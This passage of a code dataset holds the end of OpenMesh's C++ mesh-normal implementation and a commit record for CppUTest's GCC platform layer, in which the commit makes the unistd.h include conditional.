file is part of OpenMesh.                                           *\n *                                                                           *\n *  OpenMesh is free software: you can redistribute it and\/or modify         * \n *  it under the terms of the GNU Lesser General Public License as           *\n *  published by the Free Software Foundation, either version 3 of           *\n *  the License, or (at your option) any later version with the              *\n *  following exceptions:                                                    *\n *                                                                           *\n *  If other files instantiate templates or use macros                       *\n *  or inline functions from this file, or you compile this file and         *\n *  link it with other files to produce an executable, this file does        *\n *  not by itself cause the resulting executable to be covered by the        *\n *  GNU Lesser General Public License. This exception does not however       *\n *  invalidate any other reasons why the executable file might be            *\n *  covered by the GNU Lesser General Public License.                        *\n *                                                                           *\n *  OpenMesh is distributed in the hope that it will be useful,              *\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of           *\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the            *\n *  GNU Lesser General Public License for more details.                      *\n *                                                                           *\n *  You should have received a copy of the GNU LesserGeneral Public          *\n *  License along with OpenMesh.  If not,                                    *\n *  see <http:\/\/www.gnu.org\/licenses\/>.                                      *\n *                                                                           *\n\\*===========================================================================*\/ \n\n\/*===========================================================================*\\\n *                                                                           *             \n *   $Revision$                                                         *\n *   $Date$                   *\n *                                                                           *\n\\*===========================================================================*\/\n\n\n\/\/=============================================================================\n\/\/\n\/\/  CLASS PolyMeshT - IMPLEMENTATION\n\/\/\n\/\/=============================================================================\n\n\n#define OPENMESH_POLYMESH_C\n\n\n\/\/== INCLUDES =================================================================\n\n#include <OpenMesh\/Core\/Mesh\/PolyMeshT.hh>\n#include <OpenMesh\/Core\/Geometry\/LoopSchemeMaskT.hh>\n#include <OpenMesh\/Core\/Utils\/vector_cast.hh>\n#include <OpenMesh\/Core\/System\/omstream.hh>\n#include <vector>\n\n\n\/\/== NAMESPACES ===============================================================\n\n\nnamespace OpenMesh {\n\n\/\/== IMPLEMENTATION ==========================================================\n\ntemplate <class Kernel>\nuint PolyMeshT<Kernel>::find_feature_edges(Scalar _angle_tresh)\n{\n  assert(Kernel::has_edge_status());\/\/this function needs edge status property\n  uint n_feature_edges = 0;\n  for (EdgeIter e_it = Kernel::edges_begin(); e_it != Kernel::edges_end(); ++e_it)\n  {\n    if (fabs(calc_dihedral_angle(e_it)) > _angle_tresh)\n    {\/\/note: could be optimized by comparing cos(dih_angle) vs. cos(_angle_tresh)\n      status(e_it).set_feature(true);\n      n_feature_edges++;\n    }\n    else\n    {\n      status(e_it).set_feature(false);\n    }\n  }\n  return n_feature_edges;\n}\n\n\/\/-----------------------------------------------------------------------------\n\ntemplate <class Kernel>\ntypename PolyMeshT<Kernel>::Normal\nPolyMeshT<Kernel>::\ncalc_face_normal(FaceHandle _fh) const\n{\n  assert(this->halfedge_handle(_fh).is_valid());\n  ConstFaceVertexIter fv_it(this->cfv_iter(_fh));\n  \n  Point p0 = this->point(fv_it);\n  Point p0i = p0; \/\/save point of vertex 0\n  ++fv_it;\n  Point p1 = this->point(fv_it);\n  Point p1i = p1; \/\/save point of vertex 1\n  ++fv_it;\n  Point p2;\n  \n  \/\/calculate area-weighted average normal of polygon's ears\n  Normal n(0,0,0);\n  for(; fv_it; ++fv_it)\n  {\n    p2 = this->point(fv_it);\n    n += vector_cast<Normal>(calc_face_normal(p0, p1, p2)); \n    p0 = p1;\n    p1 = p2;\n  }\n  \n  \/\/two additional steps since we started at vertex 2, not 0\n  n += vector_cast<Normal>(calc_face_normal(p0i, p0, p1)); \n  n += vector_cast<Normal>(calc_face_normal(p1i, p0i, p1));\n\n  typename Normal::value_type norm = n.length();\n  \n  \/\/ The expression ((n *= (1.0\/norm)),n) is used because the OpenSG\n  \/\/ vector class does not return self after component-wise\n  \/\/ self-multiplication with a scalar!!!\n  return (norm != typename Normal::value_type(0)) ? ((n *= (typename Normal::value_type(1)\/norm)),n) : Normal(0,0,0);\n}\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\ntypename PolyMeshT<Kernel>::Normal\nPolyMeshT<Kernel>::\ncalc_face_normal(const Point& _p0,\n     const Point& _p1,\n     const Point& _p2) const\n{\n#if 1\n  \/\/ The OpenSG <Vector>::operator -= () does not support the type Point\n  \/\/ as rhs. Therefore use vector_cast at this point!!!\n  \/\/ Note! OpenSG distinguishes between Normal and Point!!!\n  Normal p1p0(vector_cast<Normal>(_p0));  p1p0 -= vector_cast<Normal>(_p1);\n  Normal p1p2(vector_cast<Normal>(_p2));  p1p2 -= vector_cast<Normal>(_p1);\n\n  Normal n    = cross(p1p2, p1p0);\n  typename Normal::value_type norm = n.length();\n\n  \/\/ The expression ((n *= (1.0\/norm)),n) is used because the OpenSG\n  \/\/ vector class does not return self after component-wise\n  \/\/ self-multiplication with a scalar!!!\n  return (norm != typename Normal::value_type(0)) ? ((n *= (typename Normal::value_type(1)\/norm)),n) : Normal(0,0,0);\n#else\n  Point p1p0 = _p0;  p1p0 -= _p1;\n  Point p1p2 = _p2;  p1p2 -= _p1;\n\n  Normal n = vector_cast<Normal>(cross(p1p2, p1p0));\n  typename Normal::value_type norm = n.length();\n\n  return (norm != 0.0) ? n *= (1.0\/norm) : Normal(0,0,0);\n#endif\n}\n\n\/\/-----------------------------------------------------------------------------\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\ncalc_face_centroid(FaceHandle _fh, Point& _pt) const\n{\n  _pt.vectorize(0);\n  Scalar valence = 0.0;\n  for (ConstFaceVertexIter cfv_it = this->cfv_iter(_fh); cfv_it; ++cfv_it, valence += 1.0)\n  {\n    _pt += this->point(cfv_it);\n  }\n  _pt \/= valence;\n}\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\nupdate_normals()\n{\n  \/\/ Face normals are required to compute the vertex and the halfedge normals\n  if (Kernel::has_face_normals() ) {     \n    update_face_normals();\n\n    if (Kernel::has_vertex_normals() ) update_vertex_normals();\n    if (Kernel::has_halfedge_normals()) update_halfedge_normals();\n  }\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\nupdate_face_normals()\n{\n  FaceIter f_it(Kernel::faces_begin()), f_end(Kernel::faces_end());\n\n  for (; f_it != f_end; ++f_it)\n    this->set_normal(f_it.handle(), calc_face_normal(f_it.handle()));\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\nupdate_halfedge_normals(const double _feature_angle)\n{\n  HalfedgeIter h_it(Kernel::halfedges_begin()), h_end(Kernel::halfedges_end());\n\n  for (; h_it != h_end; ++h_it)\n    this->set_normal(h_it.handle(), calc_halfedge_normal(h_it.handle(), _feature_angle));\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\ntypename PolyMeshT<Kernel>::Normal\nPolyMeshT<Kernel>::\ncalc_halfedge_normal(HalfedgeHandle _heh, const double _feature_angle) const\n{\n  if(Kernel::is_boundary(_heh))\n    return Normal(0,0,0);\n  else\n  {\n    std::vector<FaceHandle> fhs; fhs.reserve(10);\n\n    HalfedgeHandle heh = _heh;\n\n    \/\/ collect CW face-handles\n    do\n    {\n      fhs.push_back(Kernel::face_handle(heh));\n\n      heh = Kernel::next_halfedge_handle(heh);\n      heh = Kernel::opposite_halfedge_handle(heh);\n    }\n    while(heh != _heh && !Kernel::is_boundary(heh) && !is_estimated_feature_edge(heh, _feature_angle));\n\n    \/\/ collect CCW face-handles\n    if(heh != _heh && !is_estimated_feature_edge(_heh, _feature_angle))\n    {\n      heh = Kernel::opposite_halfedge_handle(_heh);\n\n      if ( !Kernel::is_boundary(heh) ) {\n        do\n        {\n\n          fhs.push_back(Kernel::face_handle(heh));\n\n          heh = Kernel::prev_halfedge_handle(heh);\n          heh = Kernel::opposite_halfedge_handle(heh);\n        }\n        while(!Kernel::is_boundary(heh) && !is_estimated_feature_edge(heh, _feature_angle));\n      }\n    }\n\n    Normal n(0,0,0);\n    for(unsigned int i=0; i<fhs.size(); ++i)\n      n += Kernel::normal(fhs[i]);\n\n    return n.normalize();\n  }\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nbool\nPolyMeshT<Kernel>::\nis_estimated_feature_edge(HalfedgeHandle _heh, const double _feature_angle) const\n{\n  EdgeHandle eh = Kernel::edge_handle(_heh);\n\n  if(Kernel::has_edge_status())\n  {\n    if(Kernel::status(eh).feature())\n      return true;\n  }\n\n  if(Kernel::is_boundary(eh))\n    return false;\n\n  \/\/ compute angle between faces\n  FaceHandle fh0 = Kernel::face_handle(_heh);\n  FaceHandle fh1 = Kernel::face_handle(Kernel::opposite_halfedge_handle(_heh));\n\n  Normal fn0 = Kernel::normal(fh0);\n  Normal fn1 = Kernel::normal(fh1);\n\n  \/\/ dihedral angle above angle threshold\n  return ( dot(fn0,fn1) < cos(_feature_angle) );\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\ntypename PolyMeshT<Kernel>::Normal\nPolyMeshT<Kernel>::\ncalc_vertex_normal(VertexHandle _vh) const\n{\n  Normal n;\n  calc_vertex_normal_fast(_vh,n);\n\n  Scalar norm = n.length();\n  if (norm != 0.0) n *= (1.0\/norm);\n\n  return n;\n}\n\n\/\/-----------------------------------------------------------------------------\ntemplate <class Kernel>\nvoid PolyMeshT<Kernel>::\ncalc_vertex_normal_fast(VertexHandle _vh, Normal& _n) const\n{\n  _n.vectorize(0.0);\n  for (ConstVertexFaceIter vf_it=this->cvf_iter(_vh); vf_it; ++vf_it)\n    _n += this->normal(vf_it.handle());\n}\n\n\/\/-----------------------------------------------------------------------------\ntemplate <class Kernel>\nvoid PolyMeshT<Kernel>::\ncalc_vertex_normal_correct(VertexHandle _vh, Normal& _n) const\n{\n  _n.vectorize(0.0);\n  ConstVertexIHalfedgeIter cvih_it = cvih_iter(_vh);\n  if (!cvih_it)\n  {\/\/don't crash on isolated vertices\n    return;\n  }\n  Normal in_he_vec;\n  calc_edge_vector(cvih_it, in_he_vec);\n  for ( ; cvih_it; ++cvih_it)\n  {\/\/calculates the sector normal defined by cvih_it and adds it to _n\n    if (is_boundary(cvih_it))\n    {\n      continue;\n    }\n    HalfedgeHandle out_heh(next_halfedge_handle(cvih_it));\n    Normal out_he_vec;\n    calc_edge_vector(out_heh, out_he_vec);\n    _n += cross(in_he_vec, out_he_vec);\/\/sector area is taken into account\n    in_he_vec = out_he_vec;\n    in_he_vec *= -1;\/\/change the orientation\n  }\n}\n\n\/\/-----------------------------------------------------------------------------\ntemplate <class Kernel>\nvoid PolyMeshT<Kernel>::\ncalc_vertex_normal_loop(VertexHandle _vh, Normal& _n) const\n{\n  static const LoopSchemeMaskDouble& loop_scheme_mask__ =\n                  LoopSchemeMaskDoubleSingleton::Instance();\n\n  Normal t_v(0.0,0.0,0.0), t_w(0.0,0.0,0.0);\n  unsigned int vh_val = valence(_vh);\n  unsigned int i = 0;\n  for (ConstVertexOHalfedgeIter cvoh_it = cvoh_iter(_vh); cvoh_it; ++cvoh_it, ++i)\n  {\n    VertexHandle r1_v(to_vertex_handle(cvoh_it));\n    t_v += (typename Point::value_type)(loop_scheme_mask__.tang0_weight(vh_val, i))*this->point(r1_v);\n    t_w += (typename Point::value_type)(loop_scheme_mask__.tang1_weight(vh_val, i))*this->point(r1_v);\n  }\n  _n = cross(t_w, t_v);\/\/hack: should be cross(t_v, t_w), but then the normals are reversed?\n}\n\n\/\/-----------------------------------------------------------------------------\n\n\ntemplate <class Kernel>\nvoid\nPolyMeshT<Kernel>::\nupdate_vertex_normals()\n{\n  VertexIter  v_it(Kernel::vertices_begin()), v_end(Kernel::vertices_end());\n\n  for (; v_it!=v_end; ++v_it)\n    this->set_normal(v_it.handle(), calc_vertex_normal(v_it.handle()));\n}\n\n\/\/=============================================================================\n} \/\/ namespace OpenMesh\n\/\/=============================================================================\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2007, Michael Feathers, James Grenning and Bas Vodde\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *     * Redistributions of source code must retain the above copyright\n *       notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in the\n *       documentation and\/or other materials provided with the distribution.\n *     * Neither the name of the <organization> nor the\n *       names of its contributors may be used to endorse or promote products\n *       derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE EARLIER MENTIONED AUTHORS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdlib.h>\n#include \"CppUTest\/TestHarness.h\"\n#undef malloc\n#undef free\n#undef calloc\n#undef realloc\n#undef strdup\n#undef strndup\n\n#ifdef CPPUTEST_HAVE_GETTIMEOFDAY\n#include <sys\/time.h>\n#endif\n\n#include <time.h>\n#include <stdio.h>\n#include <stdarg.h>\n#include <setjmp.h>\n#include <string.h>\n#include <math.h>\n#include <ctype.h>\n#include <unistd.h>\n#include <signal.h>\n#ifndef __MINGW32__\n#include <sys\/wait.h>\n#include <errno.h>\n#endif\n#include <pthread.h>\n\n#include \"CppUTest\/PlatformSpecificFunctions.h\"\n\nstatic jmp_buf test_exit_jmp_buf[10];\nstatic int jmp_buf_index = 0;\n\n#ifndef CPPUTEST_HAVE_FORK\n\nstatic void GccPlatformSpecificRunTestInASeperateProcess(UtestShell* shell, TestPlugin*, TestResult* result)\n{\n    result->addFailure(TestFailure(shell, \"-p doesn't work on this platform, as it is lacking fork.\\b\"));\n}\n\nstatic int PlatformSpecificForkImplementation(void)\n{\n    return 0;\n}\n\nstatic int PlatformSpecificWaitPidImplementation(int, int*, int)\n{\n    return 0;\n}\n\n#else\n\nstatic void SetTestFailureByStatusCode(UtestShell* shell, TestResult* result, int status)\n{\n    if (WIFEXITED(status) && WEXITSTATUS(status) != 0) {\n        result->addFailure(TestFailure(shell, \"Failed in separate process\"));\n    } else if (WIFSIGNALED(status)) {\n        SimpleString message(\"Failed in separate process - killed by signal \");\n        message += StringFrom(WTERMSIG(status));\n        result->addFailure(TestFailure(shell, message));\n    } else if (WIFSTOPPED(status)) {\n        result->addFailure(TestFailure(shell, \"Stopped in separate process - continuing\"));\n    }\n}\n\nstatic void GccPlatformSpecificRunTestInASeperateProcess(UtestShell* shell, TestPlugin* plugin, TestResult* result)\n{\n    const pid_t syscallError = -1;\n    pid_t cpid;\n    pid_t w;\n    int status = 0;\n\n    cpid = PlatformSpecificFork();\n\n    if (cpid == syscallError) {\n        result->addFailure(TestFailure(shell, \"Call to fork() failed\"));\n        return;\n    }\n\n    if (cpid == 0) {            \/* Code executed by child *\/\n        const size_t initialFailureCount = result->getFailureCount(); \/\/ LCOV_EXCL_LINE\n        shell->runOneTestInCurrentProcess(plugin, *result);        \/\/ LCOV_EXCL_LINE\n        _exit(initialFailureCount < result->getFailureCount());    \/\/ LCOV_EXCL_LINE\n    } else {                    \/* Code executed by parent *\/\n        size_t amountOfRetries = 0;\n        do {\n            w = PlatformSpecificWaitPid(cpid, &status, WUNTRACED);\n            if (w == syscallError) {\n                \/\/ OS X debugger causes EINTR\n                if (EINTR == errno) {\n                  if (amountOfRetries > 30) {\n                    result->addFailure(TestFailure(shell, \"Call to waitpid() failed with EINTR. Tried 30 times and giving up! Sometimes happens in debugger\"));\n                    return;\n                  }\n                  amountOfRetries++;\n                }\n                else {\n                    result->addFailure(TestFailure(shell, \"Call to waitpid() failed\"));\n                    return;\n                }\n            } else {\n                SetTestFailureByStatusCode(shell, result, status);\n                if (WIFSTOPPED(status)) kill(w, SIGCONT);\n            }\n        } while ((w == syscallError) || (!WIFEXITED(status) && !WIFSIGNALED(status)));\n    }\n}\n\nstatic pid_t PlatformSpecificForkImplementation(void)\n{\n    return fork();\n}\n\nstatic pid_t PlatformSpecificWaitPidImplementation(int pid, int* status, int options)\n{\n    return waitpid(pid, status, options);\n}\n\n#endif\n\nTestOutput::WorkingEnvironment PlatformSpecificGetWorkingEnvironment()\n{\n    return TestOutput::eclipse;\n}\n\nvoid (*PlatformSpecificRunTestInASeperateProcess)(UtestShell* shell, TestPlugin* plugin, TestResult* result) =\n        GccPlatformSpecificRunTestInASeperateProcess;\nint (*PlatformSpecificFork)(void) = PlatformSpecificForkImplementation;\nint (*PlatformSpecificWaitPid)(int, int*, int) = PlatformSpecificWaitPidImplementation;\n\nextern \"C\" {\n\nstatic int PlatformSpecificSetJmpImplementation(void (*function) (void* data), void* data)\n{\n    if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\n        jmp_buf_index++;\n        function(data);\n        jmp_buf_index--;\n        return 1;\n    }\n    return 0;\n}\n\n\/*\n * MacOSX clang 3.0 doesn't seem to recognize longjmp and thus complains about __no_return_.\n * The later clang compilers complain when it isn't there. So only way is to check the clang compiler here :(\n *\/\n#if !((__clang_major__ == 3) && (__clang_minor__ == 0))\n__no_return__\n#endif\nstatic void PlatformSpecificLongJmpImplementation()\n{\n    jmp_buf_index--;\n    longjmp(test_exit_jmp_buf[jmp_buf_index], 1);\n}\n\nstatic void PlatformSpecificRestoreJumpBufferImplementation()\n{\n    jmp_buf_index--;\n}\n\nvoid (*PlatformSpecificLongJmp)() = PlatformSpecificLongJmpImplementation;\nint (*PlatformSpecificSetJmp)(void (*)(void*), void*) = PlatformSpecificSetJmpImplementation;\nvoid (*PlatformSpecificRestoreJumpBuffer)() = PlatformSpecificRestoreJumpBufferImplementation;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/ Time in millis\n\nstatic long TimeInMillisImplementation()\n{\n#ifdef CPPUTEST_HAVE_GETTIMEOFDAY\n    struct timeval tv;\n    struct timezone tz;\n    gettimeofday(&tv, &tz);\n    return (tv.tv_sec * 1000) + (long)((double)tv.tv_usec * 0.001);\n#else\n    return 0;\n#endif\n}\n\nstatic const char* TimeStringImplementation()\n{\n    time_t tm = time(NULLPTR);\n    static char dateTime[80];\n    struct tm *tmp = localtime(&tm);\n    strftime(dateTime, 80, \"%Y-%m-%dT%H:%M:%S\", tmp);\n    return dateTime;\n}\n\nlong (*GetPlatformSpecificTimeInMillis)() = TimeInMillisImplementation;\nconst char* (*GetPlatformSpecificTimeString)() = TimeStringImplementation;\n\n\/* Wish we could add an attribute to the format for discovering mis-use... but the __attribute__(format) seems to not work on va_list *\/\n#ifdef __clang__\n#pragma clang diagnostic ignored \"-Wformat-nonliteral\"\n#endif\n\n#ifdef __clang__\n#pragma clang diagnostic ignored \"-Wused-but-marked-unused\"\n#endif\nint (*PlatformSpecificVSNprintf)(char *str, size_t size, const char* format, va_list va_args_list) = vsnprintf;\n\nstatic PlatformSpecificFile PlatformSpecificFOpenImplementation(const char* filename, const char* flag)\n{\n   return fopen(filename, flag);\n}\n\nstatic void PlatformSpecificFPutsImplementation(const char* str, PlatformSpecificFile file)\n{\n   fputs(str, (FILE*)file);\n}\n\nstatic void PlatformSpecificFCloseImplementation(PlatformSpecificFile file)\n{\n   fclose((FILE*)file);\n}\n\nstatic void PlatformSpecificFlushImplementation()\n{\n  fflush(stdout);\n}\n\nPlatformSpecificFile (*PlatformSpecificFOpen)(const char*, const char*) = PlatformSpecificFOpenImplementation;\nvoid (*PlatformSpecificFPuts)(const char*, PlatformSpecificFile) = PlatformSpecificFPutsImplementation;\nvoid (*PlatformSpecificFClose)(PlatformSpecificFile) = PlatformSpecificFCloseImplementation;\n\nint (*PlatformSpecificPutchar)(int) = putchar;\nvoid (*PlatformSpecificFlush)() = PlatformSpecificFlushImplementation;\n\nvoid* (*PlatformSpecificMalloc)(size_t size) = malloc;\nvoid* (*PlatformSpecificRealloc)(void*, size_t) = realloc;\nvoid (*PlatformSpecificFree)(void* memory) = free;\nvoid* (*PlatformSpecificMemCpy)(void*, const void*, size_t) = memcpy;\nvoid* (*PlatformSpecificMemset)(void*, int, size_t) = memset;\n\n\/* GCC 4.9.x introduces -Wfloat-conversion, which causes a warning \/ error\n * in GCC's own (macro) implementation of isnan() and isinf().\n *\/\n#if defined(__GNUC__) && (__GNUC__ >= 5 || (__GNUC__ == 4 && __GNUC_MINOR__ > 8))\n#pragma GCC diagnostic ignored \"-Wfloat-conversion\"\n#endif\n\nstatic int IsNanImplementation(double d)\n{\n    return isnan(d);\n}\n\nstatic int IsInfImplementation(double d)\n{\n    return isinf(d);\n}\n\ndouble (*PlatformSpecificFabs)(double) = fabs;\nvoid (*PlatformSpecificSrand)(unsigned int) = srand;\nint (*PlatformSpecificRand)(void) = rand;\nint (*PlatformSpecificIsNan)(double) = IsNanImplementation;\nint (*PlatformSpecificIsInf)(double) = IsInfImplementation;\nint (*PlatformSpecificAtExit)(void(*func)(void)) = atexit;  \/\/\/ this was undefined before\n\nstatic PlatformSpecificMutex PThreadMutexCreate(void)\n{\n    pthread_mutex_t *mutex = new pthread_mutex_t;\n\n    pthread_mutex_init(mutex, NULLPTR);\n\n    return (PlatformSpecificMutex)mutex;\n}\n\nstatic void PThreadMutexLock(PlatformSpecificMutex mtx)\n{\n    pthread_mutex_lock((pthread_mutex_t *)mtx);\n}\n\nstatic void PThreadMutexUnlock(PlatformSpecificMutex mtx)\n{\n    pthread_mutex_unlock((pthread_mutex_t *)mtx);\n}\n\nstatic void PThreadMutexDestroy(PlatformSpecificMutex mtx)\n{\n    pthread_mutex_t *mutex = (pthread_mutex_t *)mtx;\n    pthread_mutex_destroy(mutex);\n    delete mutex;\n}\n\nPlatformSpecificMutex (*PlatformSpecificMutexCreate)(void) = PThreadMutexCreate;\nvoid (*PlatformSpecificMutexLock)(PlatformSpecificMutex) = PThreadMutexLock;\nvoid (*PlatformSpecificMutexUnlock)(PlatformSpecificMutex) = PThreadMutexUnlock;\nvoid (*PlatformSpecificMutexDestroy)(PlatformSpecificMutex) = PThreadMutexDestroy;\n\n}\n<commit_msg>Added #ifdef before include<commit_after>\/*\n * Copyright (c) 2007, Michael Feathers, James Grenning and Bas Vodde\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *     * Redistributions of source code must retain the above copyright\n *       notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in the\n *       documentation and\/or other materials provided with the distribution.\n *     * Neither the name of the <organization> nor the\n *       names of its contributors may be used to endorse or promote products\n *       derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE EARLIER MENTIONED AUTHORS ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <stdlib.h>\n#include \"CppUTest\/TestHarness.h\"\n#undef malloc\n#undef free\n#undef calloc\n#undef realloc\n#undef strdup\n#undef strndup\n\n#ifdef CPPUTEST_HAVE_GETTIMEOFDAY\n#include <sys\/time.h>\n#endif\n#ifdef CPPUTEST_HAVE_FORK\n#include <unistd.h>\n#endif\n\n#include <time.h>\n#include <stdio.h>\n#include <stdarg.h>\n#include <setjmp.h>\n#include <string.h>\n#include <math.h>\n#include <ctype.h>\n#include <signal.h>\n#ifndef __MINGW32__\n#include <sys\/wait.h>\n#include <errno.h>\n#endif\n#include <pthread.h>\n\n#include \"CppUTest\/PlatformSpecificFunctions.h\"\n\nstatic jmp_buf test_exit_jmp_buf[10];\nstatic int jmp_buf_index = 0;\n\n#ifndef CPPUTEST_HAVE_FORK\n\nstatic void GccPlatformSpecificRunTestInASeperateProcess(UtestShell* shell, TestPlugin*, TestResult* result)\n{\n    result->addFailure(TestFailure(shell, \"-p doesn't work on this platform, as it is lacking fork.\\b\"));\n}\n\nstatic int PlatformSpecificForkImplementation(void)\n{\n    return 0;\n}\n\nstatic int PlatformSpecificWaitPidImplementation(int, int*, int)\n{\n    return 0;\n}\n\n#else\n\nstatic void SetTestFailureByStatusCode(UtestShell* shell, TestResult* result, int status)\n{\n    if (WIFEXITED(status) && WEXITSTATUS(status) != 0) {\n        result->addFailure(TestFailure(shell, \"Failed in separate process\"));\n    } else if (WIFSIGNALED(status)) {\n        SimpleString message(\"Failed in separate process - killed by signal \");\n        message += StringFrom(WTERMSIG(status));\n        result->addFailure(TestFailure(shell, message));\n    } else if (WIFSTOPPED(status)) {\n        result->addFailure(TestFailure(shell, \"Stopped in separate process - continuing\"));\n    }\n}\n\nstatic void GccPlatformSpecificRunTestInASeperateProcess(UtestShell* shell, TestPlugin* plugin, TestResult* result)\n{\n    const pid_t syscallError = -1;\n    pid_t cpid;\n    pid_t w;\n    int status = 0;\n\n    cpid = PlatformSpecificFork();\n\n    if (cpid == syscallError) {\n        result->addFailure(TestFailure(shell, \"Call to fork() failed\"));\n        return;\n    }\n\n    if (cpid == 0) {            \/* Code executed by child *\/\n        const size_t initialFailureCount = result->getFailureCount(); \/\/ LCOV_EXCL_LINE\n        shell->runOneTestInCurrentProcess(plugin, *result);        \/\/ LCOV_EXCL_LINE\n        _exit(initialFailureCount < result->getFailureCount());    \/\/ LCOV_EXCL_LINE\n    } else {                    \/* Code executed by parent *\/\n        size_t amountOfRetries = 0;\n        do {\n            w = PlatformSpecificWaitPid(cpid, &status, WUNTRACED);\n            if (w == syscallError) {\n                \/\/ OS X debugger causes EINTR\n                if (EINTR == errno) {\n                  if (amountOfRetries > 30) {\n                    result->addFailure(TestFailure(shell, \"Call to waitpid() failed with EINTR. Tried 30 times and giving up! Sometimes happens in debugger\"));\n                    return;\n                  }\n                  amountOfRetries++;\n                }\n                else {\n                    result->addFailure(TestFailure(shell, \"Call to waitpid() failed\"));\n                    return;\n                }\n            } else {\n                SetTestFailureByStatusCode(shell, result, status);\n                if (WIFSTOPPED(status)) kill(w, SIGCONT);\n            }\n        } while ((w == syscallError) || (!WIFEXITED(status) && !WIFSIGNALED(status)));\n    }\n}\n\nstatic pid_t PlatformSpecificForkImplementation(void)\n{\n    return fork();\n}\n\nstatic pid_t PlatformSpecificWaitPidImplementation(int pid, int* status, int options)\n{\n    return waitpid(pid, status, options);\n}\n\n#endif\n\nTestOutput::WorkingEnvironment PlatformSpecificGetWorkingEnvironment()\n{\n    return TestOutput::eclipse;\n}\n\nvoid (*PlatformSpecificRunTestInASeperateProcess)(UtestShell* shell, TestPlugin* plugin, TestResult* result) =\n        GccPlatformSpecificRunTestInASeperateProcess;\nint (*PlatformSpecificFork)(void) = PlatformSpecificForkImplementation;\nint (*PlatformSpecificWaitPid)(int, int*, int) = PlatformSpecificWaitPidImplementation;\n\nextern \"C\" {\n\nstatic int PlatformSpecificSetJmpImplementation(void (*function) (void* data), void* data)\n{\n    if (0 == setjmp(test_exit_jmp_buf[jmp_buf_index])) {\n        jmp_buf_index++;\n        function(data);\n        jmp_buf_index--;\n        return 1;\n    }\n    return 0;\n}\n\n\/*\n * MacOSX clang 3.0 doesn't seem to recognize longjmp and thus complains about __no_return_.\n * The later clang compilers complain when it isn't there. So only way is to check the clang compiler here :(\n *\/\n#if !((__clang_major__ == 3) && (__clang_minor__ == 0))\n__no_return__\n#endif\nstatic void PlatformSpecificLongJmpImplementation()\n{\n    jmp_buf_index--;\n    longjmp(test_exit_jmp_buf[jmp_buf_index], 1);\n}\n\nstatic void PlatformSpecificRestoreJumpBufferImplementation()\n{\n    jmp_buf_index--;\n}\n\nvoid (*PlatformSpecificLongJmp)() = PlatformSpecificLongJmpImplementation;\nint (*PlatformSpecificSetJmp)(void (*)(void*), void*) = PlatformSpecificSetJmpImplementation;\nvoid (*PlatformSpecificRestoreJumpBuffer)() = PlatformSpecificRestoreJumpBufferImplementation;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/ Time in millis\n\nstatic long TimeInMillisImplementation()\n{\n#ifdef CPPUTEST_HAVE_GETTIMEOFDAY\n    struct timeval tv;\n    struct timezone tz;\n    gettimeofday(&tv, &tz);\n    return (tv.tv_sec * 1000) + (long)((double)tv.tv_usec * 0.001);\n#else\n    return 0;\n#endif\n}\n\nstatic const char* 